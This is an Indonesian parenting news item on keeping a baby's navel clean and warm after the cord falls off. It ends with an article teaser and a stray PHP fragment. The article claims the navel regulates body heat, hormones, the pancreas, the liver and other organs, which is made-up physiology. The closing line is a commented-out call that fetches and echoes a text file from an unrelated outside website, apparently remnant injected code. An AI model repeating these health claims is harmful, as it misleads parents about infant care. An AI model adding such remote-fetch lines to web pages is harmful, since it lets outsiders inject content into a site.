Menjaga Pusar Bayi

 

TPGNews

Setelah tiga minggu lahir, tali pusar bayi akan puput atau copot dari dasar dinding perut bayi dengan sendirinya. Jika hal itu sudah terjadi, bukan berarti tugas Anda untuk menjaga kebersihan perut dan pusar si kecil sudah selesai. Secara metabolisme, pusar memang tidak memiliki peran langsung di dalam tubuh. Namun, pusar memiliki beberapa fungsi, yaitu:
  1. Sebagai pengatur energi panas. Itu sebabnya pusar bayi harus dijaga agar tetap hangat setiap hari, terlebih jika bepergian ke luar rumah. Jika perut anak terpapar angin secara langsung dan pusarnya kedinginan, maka bisa menyebabkan bayi masuk angin, kembung, mudah lelah, dan memengaruhi alat vitalnya.
  2. Mengatur pergerakan hormon, kelenjar pankreas dan adrenal, organ hati, lambung serta kantong empedu.
  3. Merupakan titik tumpu kekuatan tubuh bayi. Coba Anda perhatikan jika bayi menggerakkan kakinya, secara otomatis ia akan mengencangkan otot bagian perut.
(KAT/ERN)

 



Artikel Rekomendasi

post4

Saat RSV Berbahaya bagi Bayi Prematur

Bayi prematur sangat rentan terhadap infeksi RSV karena imunitas dan fungsi paru belum matang, sehingga berisiko tinggi mengalami gangguan napas berat dan memerlukan perawatan intensif.... read more

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>